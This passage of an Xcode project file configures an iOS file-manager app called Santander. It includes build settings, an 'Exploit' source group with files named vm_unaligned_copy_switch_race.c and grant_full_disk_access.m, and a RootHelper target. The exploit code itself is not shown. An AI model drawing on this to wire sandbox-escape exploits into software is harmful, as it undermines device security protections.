CEF032B8291ED00700B6F768 /* Extensions.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = Extensions.swift; sourceTree = ""; }; CEF032BA291ED00700B6F768 /* main.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = main.swift; sourceTree = ""; }; CEF54FF428C3D4E30078A146 /* FontInformationViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FontInformationViewController.swift; sourceTree = ""; }; CEFF556029153B9B002C1B99 /* DiffableDataSourceItem.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DiffableDataSourceItem.swift; sourceTree = ""; }; /* End PBXFileReference section */ /* Begin PBXFrameworksBuildPhase section */ 3789B5D928622B7A00058688 /* Frameworks */ = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( CEDAF42028C36B2900DF03E6 /* Runestone in Frameworks */, CEA33B3F291619EB00DD7BAC /* FSOperations in Frameworks */, CEA33B41291619EB00DD7BAC /* NSTask in Frameworks */, CE2D13D8291D8EE50023F16D /* ArgumentParser in Frameworks */, CE7E02E0290006C70046A7D4 /* MobileCoreServices.framework in Frameworks */, CEA33B39291619EB00DD7BAC /* AssetCatalogWrapper in Frameworks */, CE7E02E1290006C70046A7D4 /* CoreServices.framework in Frameworks */, CEA33B37291619EB00DD7BAC /* ApplicationsWrapper in Frameworks */, CEA33B3B291619EB00DD7BAC /* CompressionWrapper in Frameworks */, ); runOnlyForDeploymentPostprocessing = 0; }; CEC433BD28FF20B400C18BD8 /* Frameworks */ = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( CEE9B2DA29C4591B00D6C826 /* CoreServices.framework in Frameworks */, CE2D13DE291D8F8A0023F16D /* ArgumentParser in Frameworks */, CEE9B2DC29C4592700D6C826 /* NSTask in Frameworks */, CE2D13DA291D8F210023F16D /* FSOperations in Frameworks */, CEE06A37291E1E0A00DA8C75 /* CompressionWrapper in Frameworks */, CEE9B2D829C4590E00D6C826 /* ApplicationsWrapper in Frameworks */, ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXFrameworksBuildPhase section */ /* Begin PBXGroup section */ 3713292628B618AD009E4AEA /* Image */ = { isa = PBXGroup; children = ( 37ECADA628B23ECB00B95733 /* ImageViewerController.swift */, 3713292A28B74D34009E4AEA /* ImageLocationEditorViewController.swift */, 3713292828B61F98009E4AEA /* ImageMetadataViewController.swift */, ); path = Image; sourceTree = ""; }; 374ECDC62875A3710066E9DD /* Preferences */ = { isa = PBXGroup; children = ( 37932F042863205F00BF48C8 /* UserPreferences.swift */, 374ECDC72875A3940066E9DD /* Storage.swift */, ); path = Preferences; sourceTree = ""; }; 3758315C28B4D2E9001E63F2 /* TextEditor */ = { isa = PBXGroup; children = ( 37198B9928721069000C8CDF /* TextEditorThemeSettingsViewController.swift */, 37934DB628707F4500D1248A /* TextFileEditorViewController.swift */, 37198B9B28721275000C8CDF /* Themes.swift */, 37198B9E2872DDA6000C8CDF /* KeyboardToolsView.swift */, CE99BC6729951DE0008E31DA /* KeyboardSearchView.swift */, ); path = TextEditor; sourceTree = ""; }; 376F749E28BC8A4F000E5D77 /* Audio */ = { isa = PBXGroup; children = ( 374ECDC92875F5350066E9DD /* AudioPlayerViewController.swift */, 376F749C28BC8A33000E5D77 /* AudioPlayerToolbarView.swift */, ); path = Audio; sourceTree = ""; }; 3771D3782862328400E200B6 /* Other */ = { isa = PBXGroup; children = ( 6D6413FA2A1E174A00DCD315 /* Alert++.swift */, 6D6413F02A1E168600DCD315 /* Exploit */, CEB0566228F156F500B71017 /* BaseLayoutAnchorSupporting.swift */, 3771D37A2862329D00E200B6 /* Extensions.swift */, CE0D0AFF2906D6F300D17307 /* GoToItem.swift */, 375CF898289C4FF000BB7C60 /* PathMetadata.swift */, 37963F122869C96C00C4B72A /* PathType.swift */, 375CF89C289CF3A600BB7C60 /* Permissions.swift */, 3713292428B60163009E4AEA /* ImageMetadata.swift */, 374ECDC62875A3710066E9DD /* Preferences */, 37C6E0C928662C6800BDDA16 /* PathsSortMethods.swift */, 37963F16286A0F0B00C4B72A /* DirectoryMonitor.swift */, CE13D1DC28D3572000F5C833 /* RootHelper.swift */, CE42E24B291A920400187333 /* LoadingValueState.swift */, CE1F1F6F28F7211700E44DF2 /* PathTransitioning.swift */, CEFF556029153B9B002C1B99 /* DiffableDataSourceItem.swift */, CE41CDCF299695700090B616 /* Path.swift */, 6D6413EF2A1E165300DCD315 /* SantanderHeader.h */, ); path = Other; sourceTree = ""; }; 3771D3792862328B00E200B6 /* UI */ = { isa = PBXGroup; children = ( 37934DB528707F3200D1248A /* Editors */, 37C6E0C628662C2900BDDA16 /* Path */, 37C6E0C42865CF7C00BDDA16 /* SettingsTableViewController.swift */, 37CA828928AA675B000236D7 /* AppInfoViewController.swift */, 37DE0FA12864902400E5EBBC /* FilePreviewDataSource.swift */, 3712D318286F7F2E00BCD034 /* TypeSelectionViewController.swift */, ); path = UI; sourceTree = ""; }; 3787DB0828ACE4C900ACA60B /* Serialized */ = { isa = PBXGroup; children = ( 3787DB0B28ACE5E200ACA60B /* SerializedItemType.swift */, 3787DB0628ACB74D00ACA60B /* SerializedDocumentViewController.swift */, 37137F7728AED89F00E28069 /* SerializedArrayViewController.swift */, 3787DB0928ACE4EE00ACA60B /* SerializedItemViewController.swift */, ); path = Serialized; sourceTree = ""; }; 3789B5D328622B7A00058688 = { isa = PBXGroup; children = ( CE33E5502900166000DB4D44 /* .github */, 3789B5DE28622B7A00058688 /* Santander */, CEC433C128FF20B400C18BD8 /* RootHelper */, 3789B5DD28622B7A00058688 /* Products */, CE7E02DD290006C70046A7D4 /* Frameworks */, 375D568C28A5B01600E25591 /* entitlements.plist */, CE3E8FC228FF24D3001B8FAA /* Makefile */, ); sourceTree = ""; }; 3789B5DD28622B7A00058688 /* Products */ = { isa = PBXGroup; children = ( 3789B5DC28622B7A00058688 /* Santander.app */, CEC433C028FF20B400C18BD8 /* RootHelper */, ); name = Products; sourceTree = ""; }; 3789B5DE28622B7A00058688 /* Santander */ = { isa = PBXGroup; children = ( 3771D3792862328B00E200B6 /* UI */, 3771D3782862328400E200B6 /* Other */, 3789B5DF28622B7A00058688 /* AppDelegate.swift */, 3789B5E128622B7A00058688 /* SceneDelegate.swift */, 3789B5E828622B7C00058688 /* Assets.xcassets */, 3789B5EA28622B7C00058688 /* LaunchScreen.storyboard */, 3789B5ED28622B7C00058688 /* Info.plist */, ); path = Santander; sourceTree = ""; }; 37934DB528707F3200D1248A /* Editors */ = { isa = PBXGroup; children = ( CE5DFE8228C7BC89003E1095 /* BinaryExecutionViewController.swift */, 3758315C28B4D2E9001E63F2 /* TextEditor */, 376F749E28BC8A4F000E5D77 /* Audio */, 3787DB0828ACE4C900ACA60B /* Serialized */, 3787DB0428ABECF200ACA60B /* FileEditorType.swift */, CE76B0BD28D74EE900415675 /* AssetCatalog */, 3713292628B618AD009E4AEA /* Image */, CEF54FF228C3D4CE0078A146 /* Font */, ); path = Editors; sourceTree = ""; }; 37C6E0C628662C2900BDDA16 /* Path */ = { isa = PBXGroup; children = ( 3789B5F328622E0D00058688 /* PathListViewController.swift */, 37C6E0CF28673AFF00BDDA16 /* Search.swift */, 37177E4B289F12640025042E /* PathGroupOwnerViewController.swift */, 375CF896289C394E00BB7C60 /* ToolbarItems.swift */, 375CF89E289D969A00BB7C60 /* PathPermissionsViewController.swift */, 37C6E0D12867653A00BDDA16 /* PathSidebarListViewController.swift */, 37C6E0CD28665B2A00BDDA16 /* PathOperationViewController.swift */, 3771D37E2862493E00E200B6 /* PathInformationTableViewController.swift */, 37C6E0C728662C4100BDDA16 /* DragAndDrop.swift */, ); path = Path; sourceTree = ""; }; 6D6413F02A1E168600DCD315 /* Exploit */ = { isa = PBXGroup; children = ( 6D6413F52A1E169600DCD315 /* grant_full_disk_access.h */, 6D6413F32A1E169600DCD315 /* grant_full_disk_access.m */, 6D6413F42A1E169600DCD315 /* helpers.h */, 6D6413F12A1E169500DCD315 /* helpers.m */, 6D6413F22A1E169500DCD315 /* vm_unaligned_copy_switch_race.c */, 6D6413F62A1E169600DCD315 /* vm_unaligned_copy_switch_race.h */, ); path = Exploit; sourceTree = ""; }; CE76B0BD28D74EE900415675 /* AssetCatalog */ = { isa = PBXGroup; children = ( CE42B203290ABB6400FD9AC9 /* AssetCatalogSidebarListView.swift */, CE0E512F28D4D03300E9D611 /* AssetCatalogViewController.swift */, CECB3A0B28E330BC00328434 /* AssetCatalogDetailsView.swift */, CE37904528DB44C300124029 /* AssetCatalogCell.swift */, CE1FDA2928F20302000A16BE /* AssetCatalogGridPreviewCell.swift */, CE7228EC28E8188D00918C5F /* AssetCatalogRenditionViewController.swift */, CE37904928DB523500124029 /* AssetCatalogSectionHeader.swift */, ); path = AssetCatalog; sourceTree = ""; }; CE7E02DD290006C70046A7D4 /* Frameworks */ = { isa = PBXGroup; children = ( CE7E02DF290006C70046A7D4 /* CoreServices.framework */, CEE9B2D929C4591B00D6C826 /* CoreServices.framework */, CE7E02DE290006C70046A7D4 /* MobileCoreServices.framework */, ); name = Frameworks; sourceTree = ""; }; CEC433C128FF20B400C18BD8 /* RootHelper */ = { isa = PBXGroup; children = ( CEF032B8291ED00700B6F768 /* Extensions.swift */, CEF032BA291ED00700B6F768 /* main.swift */, CE2D13DB291D8F460023F16D /* Commands.swift */, ); path = RootHelper; sourceTree = ""; }; CEF54FF228C3D4CE0078A146 /* Font */ = { isa = PBXGroup; children = ( CECF6ED928C37F660080B805 /* FontViewerController.swift */, CEF54FF428C3D4E30078A146 /* FontInformationViewController.swift */, ); path = Font; sourceTree = ""; }; /* End PBXGroup section */ /* Begin PBXNativeTarget section */ 3789B5DB28622B7A00058688 /* Santander */ = { isa = PBXNativeTarget; buildConfigurationList = 3789B5F028622B7C00058688 /* Build configuration list for PBXNativeTarget "Santander" */; buildPhases = ( 3789B5D828622B7A00058688 /* Sources */, 3789B5D928622B7A00058688 /* Frameworks */, 3789B5DA28622B7A00058688 /* Resources */, 3765393B286920FC00D76430 /* Embed App Extensions */, ); buildRules = ( ); dependencies = ( ); name = Santander; packageProductDependencies = ( CEDAF41F28C36B2900DF03E6 /* Runestone */, CEA33B36291619EB00DD7BAC /* ApplicationsWrapper */, CEA33B38291619EB00DD7BAC /* AssetCatalogWrapper */, CEA33B3A291619EB00DD7BAC /* CompressionWrapper */, CEA33B3E291619EB00DD7BAC /* FSOperations */, CEA33B40291619EB00DD7BAC /* NSTask */, CE2D13D7291D8EE50023F16D /* ArgumentParser */, ); productName = Santander; productReference = 3789B5DC28622B7A00058688 /* Santander.app */; productType = "com.apple.product-type.application"; }; CEC433BF28FF20B400C18BD8 /* RootHelper */ = { isa = PBXNativeTarget; buildConfigurationList = CEC433C428FF20B400C18BD8 /* Build configuration list for PBXNativeTarget "RootHelper" */; buildPhases = ( CEC433BC28FF20B400C18BD8 /* Sources */, CEC433BD28FF20B400C18BD8 /* Frameworks */, ); buildRules = ( ); dependencies = ( CE7E02D728FFF8020046A7D4 /* PBXTargetDependency */, CE7E02C528FFF44E0046A7D4 /* PBXTargetDependency */, ); name = RootHelper; packageProductDependencies = ( CE2D13D9291D8F210023F16D /* FSOperations */, CE2D13DD291D8F8A0023F16D /* ArgumentParser */, CEE06A36291E1E0A00DA8C75 /* CompressionWrapper */, CEE9B2D729C4590E00D6C826 /* ApplicationsWrapper */, CEE9B2DB29C4592700D6C826 /* NSTask */, ); productName = RootHelper; productReference = CEC433C028FF20B400C18BD8 /* RootHelper */; productType = "com.apple.product-type.library.dynamic"; }; /* End PBXNativeTarget section */ /* Begin PBXProject section */ 3789B5D428622B7A00058688 /* Project object */ = { isa = PBXProject; attributes = { LastSwiftUpdateCheck = 1410; LastUpgradeCheck = 1340; TargetAttributes = { 3789B5DB28622B7A00058688 = { CreatedOnToolsVersion = 13.4.1; LastSwiftMigration = 1410; }; CEC433BF28FF20B400C18BD8 = { CreatedOnToolsVersion = 14.1; }; }; }; buildConfigurationList = 3789B5D728622B7A00058688 /* Build configuration list for PBXProject "Santander" */; compatibilityVersion = "Xcode 13.0"; developmentRegion = en; hasScannedForEncodings = 0; knownRegions = ( en, Base, ); mainGroup = 3789B5D328622B7A00058688; packageReferences = ( CEDAF41E28C36B2900DF03E6 /* XCRemoteSwiftPackageReference "Runestone" */, CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference "SantanderWrappers" */, CE2D13D6291D8EE50023F16D /* XCRemoteSwiftPackageReference "swift-argument-parser" */, ); productRefGroup = 3789B5DD28622B7A00058688 /* Products */; projectDirPath = ""; projectRoot = ""; targets = ( 3789B5DB28622B7A00058688 /* Santander */, CEC433BF28FF20B400C18BD8 /* RootHelper */, ); }; /* End PBXProject section */ /* Begin PBXResourcesBuildPhase section */ 3789B5DA28622B7A00058688 /* Resources */ = { isa = PBXResourcesBuildPhase; buildActionMask = 2147483647; files = ( 375D568D28A5B01600E25591 /* entitlements.plist in Resources */, 3789B5EC28622B7C00058688 /* LaunchScreen.storyboard in Resources */, 3789B5E928622B7C00058688 /* Assets.xcassets in Resources */, ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXResourcesBuildPhase section */ /* Begin PBXSourcesBuildPhase section */ 3789B5D828622B7A00058688 /* Sources */ = { isa = PBXSourcesBuildPhase; buildActionMask = 2147483647; files = ( CE1F1F7028F7211700E44DF2 /* PathTransitioning.swift in Sources */, CE0E513028D4D03300E9D611 /* AssetCatalogViewController.swift in Sources */, 37C6E0CE28665B2A00BDDA16 /* PathOperationViewController.swift in Sources */, 3771D37B2862329D00E200B6 /* Extensions.swift in Sources */, 3787DB0C28ACE5E200ACA60B /* SerializedItemType.swift in Sources */, CE7228ED28E8188D00918C5F /* AssetCatalogRenditionViewController.swift in Sources */, CE42E24C291A920400187333 /* LoadingValueState.swift in Sources */, 374ECDCA2875F5350066E9DD /* AudioPlayerViewController.swift in Sources */, 37C6E0C52865CF7C00BDDA16 /* SettingsTableViewController.swift in Sources */, 37C6E0CA28662C6800BDDA16 /* PathsSortMethods.swift in Sources */, 6D6413FB2A1E174A00DCD315 /* Alert++.swift in Sources */, 37934DB728707F4500D1248A /* TextFileEditorViewController.swift in Sources */, 3713292B28B74D34009E4AEA /* ImageLocationEditorViewController.swift in Sources */, 3713292928B61F98009E4AEA /* ImageMetadataViewController.swift in Sources */, 375CF89F289D969A00BB7C60 /* PathPermissionsViewController.swift in Sources */, 3787DB0528ABECF200ACA60B /* FileEditorType.swift in Sources */, 3713292528B60163009E4AEA /* ImageMetadata.swift in Sources */, 6D6413F72A1E169600DCD315 /* helpers.m in Sources */, CEB0566328F156F500B71017 /* BaseLayoutAnchorSupporting.swift in Sources */, 37C6E0C828662C4100BDDA16 /* DragAndDrop.swift in Sources */, 37932F052863205F00BF48C8 /* UserPreferences.swift in Sources */, 37177E4C289F12640025042E /* PathGroupOwnerViewController.swift in Sources */, 376F749D28BC8A33000E5D77 /* AudioPlayerToolbarView.swift in Sources */, 37963F132869C96C00C4B72A /* PathType.swift in Sources */, CECB3A0C28E330BC00328434 /* AssetCatalogDetailsView.swift in Sources */, CECF6EDA28C37F660080B805 /* FontViewerController.swift in Sources */, 374ECDC82875A3940066E9DD /* Storage.swift in Sources */, 3789B5F428622E0D00058688 /* PathListViewController.swift in Sources */, 3789B5E028622B7A00058688 /* AppDelegate.swift in Sources */, 37137F7828AED89F00E28069 /* SerializedArrayViewController.swift in Sources */, 3712D319286F7F2E00BCD034 /* TypeSelectionViewController.swift in Sources */, 37198B9F2872DDA6000C8CDF /* KeyboardToolsView.swift in Sources */, 37DE0FA22864902400E5EBBC /* FilePreviewDataSource.swift in Sources */, CE37904628DB44C300124029 /* AssetCatalogCell.swift in Sources */, CE1FDA2A28F20302000A16BE /* AssetCatalogGridPreviewCell.swift in Sources */, CEFF556129153B9B002C1B99 /* DiffableDataSourceItem.swift in Sources */, CE99BC6829951DE0008E31DA /* KeyboardSearchView.swift in Sources */, 37963F17286A0F0B00C4B72A /* DirectoryMonitor.swift in Sources */, CE37904A28DB523500124029 /* AssetCatalogSectionHeader.swift in Sources */, 6D6413F82A1E169600DCD315 /* vm_unaligned_copy_switch_race.c in Sources */, CE5DFE8328C7BC89003E1095 /* BinaryExecutionViewController.swift in Sources */, CEF54FF528C3D4E30078A146 /* FontInformationViewController.swift in Sources */, 375CF897289C394E00BB7C60 /* ToolbarItems.swift in Sources */, 37C6E0D22867653A00BDDA16 /* PathSidebarListViewController.swift in Sources */, 3787DB0728ACB74D00ACA60B /* SerializedDocumentViewController.swift in Sources */, 3787DB0A28ACE4EE00ACA60B /* SerializedItemViewController.swift in Sources */, 6D6413F92A1E169600DCD315 /* grant_full_disk_access.m in Sources */, 37198B9C28721275000C8CDF /* Themes.swift in Sources */, 37C6E0D028673AFF00BDDA16 /* Search.swift in Sources */, 375CF89D289CF3A600BB7C60 /* Permissions.swift in Sources */, CE13D1DD28D3572000F5C833 /* RootHelper.swift in Sources */, CE0D0B002906D6F300D17307 /* GoToItem.swift in Sources */, CE42B204290ABB6400FD9AC9 /* AssetCatalogSidebarListView.swift in Sources */, 37CA828A28AA675B000236D7 /* AppInfoViewController.swift in Sources */, CE41CDD0299695700090B616 /* Path.swift in Sources */, 37ECADA728B23ECC00B95733 /* ImageViewerController.swift in Sources */, 3771D37F2862493E00E200B6 /* PathInformationTableViewController.swift in Sources */, 37198B9A28721069000C8CDF /* TextEditorThemeSettingsViewController.swift in Sources */, 375CF899289C4FF000BB7C60 /* PathMetadata.swift in Sources */, 3789B5E228622B7A00058688 /* SceneDelegate.swift in Sources */, ); runOnlyForDeploymentPostprocessing = 0; }; CEC433BC28FF20B400C18BD8 /* Sources */ = { isa = PBXSourcesBuildPhase; buildActionMask = 2147483647; files = ( CEF032BD291ED00700B6F768 /* main.swift in Sources */, CE2D13DC291D8F460023F16D /* Commands.swift in Sources */, CE41CDD1299695700090B616 /* Path.swift in Sources */, CEF032BB291ED00700B6F768 /* Extensions.swift in Sources */, ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXSourcesBuildPhase section */ /* Begin PBXTargetDependency section */ CE7E02C528FFF44E0046A7D4 /* PBXTargetDependency */ = { isa = PBXTargetDependency; productRef = CE7E02C428FFF44E0046A7D4 /* FSOperations */; }; CE7E02D728FFF8020046A7D4 /* PBXTargetDependency */ = { isa = PBXTargetDependency; productRef = CE7E02D628FFF8020046A7D4 /* AssetCatalogWrapper */; }; /* End PBXTargetDependency section */ /* Begin PBXVariantGroup section */ 3789B5EA28622B7C00058688 /* LaunchScreen.storyboard */ = { isa = PBXVariantGroup; children = ( 3789B5EB28622B7C00058688 /* Base */, ); name = LaunchScreen.storyboard; sourceTree = ""; }; /* End PBXVariantGroup section */ /* Begin XCBuildConfiguration section */ 3789B5EE28622B7C00058688 /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; CLANG_ANALYZER_NONNULL = YES; CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; CLANG_CXX_LANGUAGE_STANDARD = "gnu++17"; CLANG_ENABLE_MODULES = YES; CLANG_ENABLE_OBJC_ARC = YES; CLANG_ENABLE_OBJC_WEAK = YES; CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; CLANG_WARN_BOOL_CONVERSION = YES; CLANG_WARN_COMMA = YES; CLANG_WARN_CONSTANT_CONVERSION = YES; CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; CLANG_WARN_DOCUMENTATION_COMMENTS = YES; CLANG_WARN_EMPTY_BODY = YES; CLANG_WARN_ENUM_CONVERSION = YES; CLANG_WARN_INFINITE_RECURSION = YES; CLANG_WARN_INT_CONVERSION = YES; CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; CLANG_WARN_STRICT_PROTOTYPES = YES; CLANG_WARN_SUSPICIOUS_MOVE = YES; CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; CLANG_WARN_UNREACHABLE_CODE = YES; CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; COPY_PHASE_STRIP = NO; DEBUG_INFORMATION_FORMAT = dwarf; ENABLE_STRICT_OBJC_MSGSEND = YES; ENABLE_TESTABILITY = YES; GCC_C_LANGUAGE_STANDARD = gnu11; GCC_DYNAMIC_NO_PIC = NO; GCC_NO_COMMON_BLOCKS = YES; GCC_OPTIMIZATION_LEVEL = 0; GCC_PREPROCESSOR_DEFINITIONS = ( "DEBUG=1", "$(inherited)", ); GCC_WARN_64_TO_32_BIT_CONVERSION = YES; GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; GCC_WARN_UNDECLARED_SELECTOR = YES; GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; GCC_WARN_UNUSED_FUNCTION = YES; GCC_WARN_UNUSED_VARIABLE = YES; IPHONEOS_DEPLOYMENT_TARGET = 14.0; MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; MTL_FAST_MATH = YES; ONLY_ACTIVE_ARCH = YES; SDKROOT = iphoneos; SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG; SWIFT_OPTIMIZATION_LEVEL = "-Onone"; }; name = Debug; }; 3789B5EF28622B7C00058688 /* Release */ = { isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; CLANG_ANALYZER_NONNULL = YES; CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; CLANG_CXX_LANGUAGE_STANDARD = "gnu++17"; CLANG_ENABLE_MODULES = YES; CLANG_ENABLE_OBJC_ARC = YES; CLANG_ENABLE_OBJC_WEAK = YES; CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; CLANG_WARN_BOOL_CONVERSION = YES; CLANG_WARN_COMMA = YES; CLANG_WARN_CONSTANT_CONVERSION = YES; CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; CLANG_WARN_DOCUMENTATION_COMMENTS = YES; CLANG_WARN_EMPTY_BODY = YES; CLANG_WARN_ENUM_CONVERSION = YES; CLANG_WARN_INFINITE_RECURSION = YES; CLANG_WARN_INT_CONVERSION = YES; CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; CLANG_WARN_STRICT_PROTOTYPES = YES; CLANG_WARN_SUSPICIOUS_MOVE = YES; CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; CLANG_WARN_UNREACHABLE_CODE = YES; CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; COPY_PHASE_STRIP = NO; DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; ENABLE_NS_ASSERTIONS = NO; ENABLE_STRICT_OBJC_MSGSEND = YES; GCC_C_LANGUAGE_STANDARD = gnu11; GCC_NO_COMMON_BLOCKS = YES; GCC_WARN_64_TO_32_BIT_CONVERSION = YES; GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; GCC_WARN_UNDECLARED_SELECTOR = YES; GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; GCC_WARN_UNUSED_FUNCTION = YES; GCC_WARN_UNUSED_VARIABLE = YES; IPHONEOS_DEPLOYMENT_TARGET = 14.0; MTL_ENABLE_DEBUG_INFO = NO; MTL_FAST_MATH = YES; SDKROOT = iphoneos; SWIFT_COMPILATION_MODE = wholemodule; SWIFT_OPTIMIZATION_LEVEL = "-O"; VALIDATE_PRODUCT = YES; }; name = Release; }; 3789B5F128622B7C00058688 /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; CLANG_ENABLE_MODULES = YES; CODE_SIGN_STYLE = Automatic; CURRENT_PROJECT_VERSION = 1; DEVELOPMENT_TEAM = HD373A4P3H; FRAMEWORK_SEARCH_PATHS = "$(inherited)"; GENERATE_INFOPLIST_FILE = YES; INFOPLIST_FILE = Santander/Info.plist; INFOPLIST_KEY_CFBundleDisplayName = SantanderEscaped; INFOPLIST_KEY_LSApplicationCategoryType = "public.app-category.utilities"; INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES; INFOPLIST_KEY_NSAppleMusicUsageDescription = "Required to browse and edit files."; INFOPLIST_KEY_NSPhotoLibraryAddUsageDescription = "To save the selected image to the camera roll."; INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen; INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; IPHONEOS_DEPLOYMENT_TARGET = 14.0; LD_RUNPATH_SEARCH_PATHS = ( "$(inherited)", "@executable_path/Frameworks", ); MARKETING_VERSION = 1.0; OTHER_LDFLAGS = ( "-framework", IOKit, ); OTHER_SWIFT_FLAGS = ""; PRODUCT_BUNDLE_IDENTIFIER = org.haxi0.santanderescaped; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_EMIT_LOC_STRINGS = YES; SWIFT_INCLUDE_PATHS = "$(SRCROOT)/Santander/Other/External/**"; SWIFT_OBJC_BRIDGING_HEADER = Santander/Other/SantanderHeader.h; SWIFT_OPTIMIZATION_LEVEL = "-Onone"; SWIFT_VERSION = 5.0; TARGETED_DEVICE_FAMILY = "1,2"; }; name = Debug; }; 3789B5F228622B7C00058688 /* Release */ = { isa = XCBuildConfiguration; buildSettings = { ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; CLANG_ENABLE_MODULES = YES; CODE_SIGN_STYLE = Automatic; CURRENT_PROJECT_VERSION = 1; DEVELOPMENT_TEAM = HD373A4P3H; FRAMEWORK_SEARCH_PATHS = "$(inherited)"; GENERATE_INFOPLIST_FILE = YES; INFOPLIST_FILE = Santander/Info.plist; INFOPLIST_KEY_CFBundleDisplayName = SantanderEscaped; INFOPLIST_KEY_LSApplicationCategoryType = "public.app-category.utilities"; INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES; INFOPLIST_KEY_NSAppleMusicUsageDescription = "Required to browse and edit files."; INFOPLIST_KEY_NSPhotoLibraryAddUsageDescription = "To save the selected image to the camera roll."; INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen; INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; IPHONEOS_DEPLOYMENT_TARGET = 14.0; LD_RUNPATH_SEARCH_PATHS = ( "$(inherited)", "@executable_path/Frameworks", ); MARKETING_VERSION = 1.0; OTHER_LDFLAGS = ( "-framework", IOKit, ); OTHER_SWIFT_FLAGS = ""; PRODUCT_BUNDLE_IDENTIFIER = org.haxi0.santanderescaped; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_EMIT_LOC_STRINGS = YES; SWIFT_INCLUDE_PATHS = "$(SRCROOT)/Santander/Other/External/**"; SWIFT_OBJC_BRIDGING_HEADER = Santander/Other/SantanderHeader.h; SWIFT_VERSION = 5.0; TARGETED_DEVICE_FAMILY = "1,2"; }; name = Release; }; CEC433C528FF20B400C18BD8 /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; CODE_SIGN_STYLE = Automatic; DEVELOPMENT_TEAM = L9735M962H; DYLIB_COMPATIBILITY_VERSION = ""; DYLIB_CURRENT_VERSION = ""; EXECUTABLE_SUFFIX = ""; IPHONEOS_DEPLOYMENT_TARGET = 14.0; MACH_O_TYPE = mh_execute; OTHER_LDFLAGS = "-ObjC"; PRODUCT_NAME = "$(TARGET_NAME)"; SKIP_INSTALL = YES; SWIFT_VERSION = 5.0; TARGETED_DEVICE_FAMILY = "1,2"; }; name = Debug; }; CEC433C628FF20B400C18BD8 /* Release */ = { isa = XCBuildConfiguration; buildSettings = { CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; CODE_SIGN_STYLE = Automatic; DEVELOPMENT_TEAM = L9735M962H; DYLIB_COMPATIBILITY_VERSION = ""; DYLIB_CURRENT_VERSION = ""; 